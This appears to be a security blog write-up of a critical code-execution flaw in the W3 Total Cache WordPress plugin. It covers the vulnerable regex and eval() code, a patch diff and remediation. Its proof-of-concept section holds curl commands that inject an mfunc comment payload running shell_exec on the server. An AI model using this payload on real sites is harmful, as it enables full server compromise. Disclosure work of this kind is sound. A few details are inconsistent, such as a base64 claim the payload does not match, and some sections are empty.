CVE-2026-27384: Unauthenticated RCE in W3 Total Cache

CVE-2026-27384: Unauthenticated RCE in W3 Total Cache

CVE-2026-27384 is a CVSS 9.8 Critical unauthenticated arbitrary code execution vulnerability in the W3 Total Cache WordPress plugin. Affecting all versions up to and including 2.9.1, it allows a remote, unauthenticated attacker to execute arbitrary PHP code on the server via the plugin’s Dynamic Fragment Caching (mfunc/mclude) feature — no WordPress account required.

Vulnerability Summary

FieldValue
Plugin NameW3 Total Cache
Plugin Slugw3-total-cache
CVE IDCVE-2026-27384
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary Code Execution (Code Injection via eval())
Affected Versions<= 2.9.1
Patched Version2.9.2
PublishedFebruary 24, 2026
ResearcherCODE WHITE GmbH
Wordfence AdvisoryLink

Description

The W3 Total Cache plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.9.1. This makes it possible for unauthenticated attackers to execute code on the server.

The root cause lies in the plugin’s Dynamic Fragment Caching feature — specifically the mfunc/mclude system — which executes arbitrary PHP code embedded in HTML comments within the page output buffer via PHP’s eval(). The feature is guarded by a W3TC_DYNAMIC_SECURITY constant (security token), but multiple flaws in how this token is validated and how user-supplied content is sanitised allow the protection to be bypassed.

Technical Analysis

Feature Background: mfunc / mclude

W3 Total Cache’s Dynamic Fragment Caching allows site developers to embed PHP code or file includes directly in page HTML using special HTML comment tags:

<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

When the page cache serves a cached page containing such tags, W3TC processes them server-side: the embedded PHP is executed via eval() and its output replaces the comment block. This feature is controlled by the PHP constant W3TC_DYNAMIC_SECURITY defined in wp-config.php.

Vulnerable Code Path

Step 1 — Execution entry point: _parse_dynamic_mfunc() (PgCache_ContentGrabber.php)

// PgCache_ContentGrabber.php (vulnerable 2.9.1)
public function _parse_dynamic_mfunc( $matches ) {
    $code1 = trim( $matches[1] );
    $code2 = trim( $matches[2] );
    $code  = ( $code1 ? $code1 : $code2 );

    if ( $code ) {
        $code = trim( $code, ';' ) . ';';
        try {
            ob_start();
            $result = eval( $code ); // <-- ARBITRARY PHP CODE EXECUTION
            $output = ob_get_contents();
            ob_end_clean();
        } catch ( \Exception $ex ) {
            $result = false;
        }
        ...
    }
}

This function executes whatever PHP code is captured by the mfunc regex without any further access control.

Step 2 — Triggering eval: _parse_dynamic() (PgCache_ContentGrabber.php:2091)

_parse_dynamic() scans the output buffer using preg_replace_callback with the mfunc regex pattern:

// PgCache_ContentGrabber.php (VULNERABLE — 2.9.1)
public function _parse_dynamic( $buffer ) {
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
        return $buffer;
    }

    $buffer = preg_replace_callback(
        // BUG 1: W3TC_DYNAMIC_SECURITY is used RAW — no preg_quote()
        // BUG 2: \s* (zero or more spaces) before the token — allows no-space tags
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
    ...
}

Bug 1 — Missing preg_quote(): W3TC_DYNAMIC_SECURITY is interpolated directly into a regex pattern. If the constant contains regex metacharacters (., *, +, ?, [, ], ^, $, |, \, (, )), the pattern matches far more broadly than the literal token value.

Bug 2 — \s* allows zero spaces: The pattern \s*TOKEN requires zero or more whitespace characters between mfunc and the token. This means a no-space tag <!-- mfuncTOKEN code --> MATCHES the execution regex.

Step 3 — Sanitisation bypass: strip_dynamic_fragment_tags_from_string() (Generic_Plugin.php:212)

This function is supposed to remove mfunc/mclude tags from user-supplied content (comments, REST API responses, RSS feeds) before storage:

// Generic_Plugin.php (VULNERABLE — 2.9.1)
private function strip_dynamic_fragment_tags_from_string( $value ) {
    if ( ! is_string( $value ) || ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) ) {
        return $value;
    }

    $pattern = array(
        // BUG 3: \s+ (one or more spaces) is REQUIRED between mfunc and token
        // Tags like <!-- mfuncTOKEN --> have NO space — this regex MISSES them
        '~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
        '~<!--\s*mclude\s+[^\s]+.*?-->(.*?)<!--\s*/mclude\s+[^\s]+.*?\s*-->~Uis',
    );

    $value = preg_replace_callback( $pattern, function ( $matches ) {
        return $matches[1]; // Keep content between tags
    }, $value );

    // Remove the security token from the remaining value
    return str_replace( W3TC_DYNAMIC_SECURITY, '', $value );
}

Bug 3 — \s+ vs \s* mismatch: The strip function requires at least one space (\s+) between mfunc and the token. However, the execution regex uses \s* (zero spaces allowed). A tag crafted as <!-- mfuncTOKEN code --><!-- /mfuncTOKEN --> (no space between mfunc and token) bypasses the strip function entirely but still matches the execution pattern.

Step 4 — Incomplete token validation: _has_dynamic() (PgCache_ContentGrabber.php:2192)

// PgCache_ContentGrabber.php (VULNERABLE — 2.9.1)
public function _has_dynamic( $buffer ) {
    // BUG 4: Only checks defined() — not empty(), not numeric-only tokens
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }

    return preg_match(
        // BUG 1+2 repeated: no preg_quote, uses \s*
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
        $buffer
    );
}

Bug 4: The check only verifies that W3TC_DYNAMIC_SECURITY is defined(). It does not guard against an empty string, a whitespace-only value, or a regex-metacharacter token. An empty token would cause _has_dynamic() to return true for any mfunc comment, while _parse_dynamic() would still guard against execution (via empty() check). But with a regex-metacharacter token (e.g., .), BOTH _has_dynamic() and _parse_dynamic() accept the forged input.

Root Cause

The combined exploitation relies on two preconditions:

  1. W3TC_DYNAMIC_SECURITY contains at least one regex metacharacter (e.g., a single dot . is sufficient).
  2. User-controlled content (e.g., a WordPress comment) is rendered in the page output buffer on a W3TC-cached page.

Why Existing Controls Failed

The security model assumes:

Both assumptions break simultaneously:

Attack Impact

An unauthenticated attacker can execute arbitrary PHP code on the server with the privileges of the web server process. This enables:

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Identify a target post with caching and comments enabled

Navigate to any WordPress post that has comments enabled and is cached by W3TC. Note the URL.

TARGET_URL="https://target.example.com/?p=1"

Step 2: Inject the malicious mfunc payload via comment submission

Submit a comment using the WordPress comment REST API or the standard form. The payload uses a no-space mfunc tag to bypass the strip sanitiser:

# The payload: <!-- mfuncA phpcode --><!-- /mfuncA -->
# 'A' is an arbitrary character that matches the regex-metacharacter token (e.g., '.')
# The PHP code is base64-encoded to avoid HTML encoding issues

PAYLOAD='<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->'

curl -s -X POST "$TARGET_URL/wp-json/wp/v2/comments" \
  -H "Content-Type: application/json" \
  -d "{
    \"post\": 1,
    \"author_name\": \"Visitor\",
    \"author_email\": \"visitor@example.com\",
    \"content\": \"$PAYLOAD\"
  }"

If comment moderation is enabled, the attacker waits for approval, or alternatively submits via the HTML form to an existing open-comment post.

Step 3: Trigger page re-caching (or wait for cache expiry)

Request the page to force W3TC to re-render and re-cache the page with the injected comment:

# First request: W3TC re-renders the page (cache miss) and caches with has_dynamic=true
curl -s "$TARGET_URL" > /dev/null

# Second request: W3TC serves from cache and runs _parse_dynamic() -> eval()
curl -s "$TARGET_URL"

Step 4: Observe code execution in the response

The page response will include the output of shell_exec("id") at the position of the comment, e.g.:

<!-- Comment content: -->
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Expected Result

The server executes the injected PHP code (shell_exec("id") in the example) with the privileges of the web server process, returning the output inline in the rendered page.

Verification

To confirm code execution, check the HTTP response body for the output of the OS command (e.g., the string uid= for Linux). For more persistent testing, replace shell_exec("id") with file_put_contents('/tmp/w3tc_pwned.txt', 'RCE confirmed'); and verify the file creation on the server.

Patch Analysis

What Changed

FileChange
PgCache_ContentGrabber.phpAdded preg_quote() around token; changed \s*\s+ in _parse_dynamic() and _has_dynamic(); added empty() and 1 === (int) checks to _has_dynamic()
Generic_Plugin.phpChanged strip regex from \s+[^\s]+ to \s*\S+ to also catch no-space tags; refactored ob_start to avoid display-handler restriction

Fix Explanation

Fix 1 — preg_quote() (root cause):

- '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis'
+ $security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
+ '~<!--\s*mfunc\s+' . $security . '(.*)-->~Uis'

preg_quote() escapes all regex metacharacters in the token, ensuring it is treated as a literal string. A token of . no longer matches any character — it only matches a literal dot.

Fix 2 — \s*\s+ in execution regex:

- '~<!--\s*mfunc\s*TOKEN(.*)-->~Uis'
+ '~<!--\s*mfunc\s+TOKEN(.*)-->~Uis'

Requiring at least one space between mfunc and the token eliminates the <!-- mfuncTOKEN --> no-space attack vector.

Fix 3 — Strip regex: \s+[^\s]+\s*\S+:

- '~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis'
+ '~<!--\s*mfunc\s*\S+.*?-->(.*?)<!--\s*/mfunc\s*\S+.*?\s*-->~Uis'

Changed to allow zero spaces between mfunc and the token (\s*\S+), so no-space tags like <!-- mfuncTOKEN --> are now caught and stripped before reaching the str_replace fallback.

Fix 4 — Additional guards in _has_dynamic():

- if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
+ if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {

Guards against empty tokens (PHP empty('') = true) and pure-integer tokens (cast to 1 would match is_numeric checks) marking pages as dynamic.

Fix 5 — ob_start refactor (defense in depth):

In 2.9.1, W3TC registered ob_callback() as a PHP display handler via ob_start(array($this, 'ob_callback')). PHP’s display-handler lock (ob_lock) prevents nested ob_start() calls inside display handler callbacks. Since _parse_dynamic_mfunc() uses ob_start() to capture eval() output, this created unreliable behaviour: the eval output might leak into the parent buffer or the capture might fail.

The fix moves mfunc processing out of the display handler callback and into a WordPress shutdown action (priority 0), where ob_start() can safely be called.

Code Diff (Key Changes)

--- a/PgCache_ContentGrabber.php
+++ b/PgCache_ContentGrabber.php
@@ _parse_dynamic() @@
+       $security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
 
        $buffer = preg_replace_callback(
-               '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
+               '~<!--\s*mfunc\s+' . $security . '(.*)-->(.*)<!--\s*/mfunc\s+' . $security . '\s*-->~Uis',

@@ _has_dynamic() @@
-       if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
+       if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
                return false;
        }
 
+       $security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
+
        return preg_match(
-               '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
+               '~<!--\s*m(func|clude)\s+' . $security . '(.*)-->(.*)<!--\s*/m(func|clude)\s+' . $security . '\s*-->~Uis',

--- a/Generic_Plugin.php
+++ b/Generic_Plugin.php
@@ strip_dynamic_fragment_tags_from_string() @@
+       // Use \s*\S+ so no-space tags like <!-- mfuncTOKEN --> are also caught
        $pattern = array(
-               '~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
+               '~<!--\s*mfunc\s*\S+.*?-->(.*?)<!--\s*/mfunc\s*\S+.*?\s*-->~Uis',

@@ ob_start handling @@
-       ob_start( array( $this, 'ob_callback' ) );
+       ob_start();
+       $this->_ob_level = ob_get_level();
+       add_action( 'shutdown', array( $this, 'ob_shutdown' ), 0 );
+       register_shutdown_function( array( $this, 'ob_shutdown' ) );

The fix is complete. No residual risks are identified in the patched code for this specific vulnerability chain.

Timeline

DateEvent
UnknownVulnerability discovered and reported by CODE WHITE GmbH
February 24, 2026Publicly disclosed by Wordfence
February 2026Patched version 2.9.2 released

Remediation

Update the w3-total-cache plugin to version 2.9.2 or later.

Additionally:

References

  1. Wordfence Advisory
  2. Patchstack VDP
  3. CVE Record: CVE-2026-27384

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee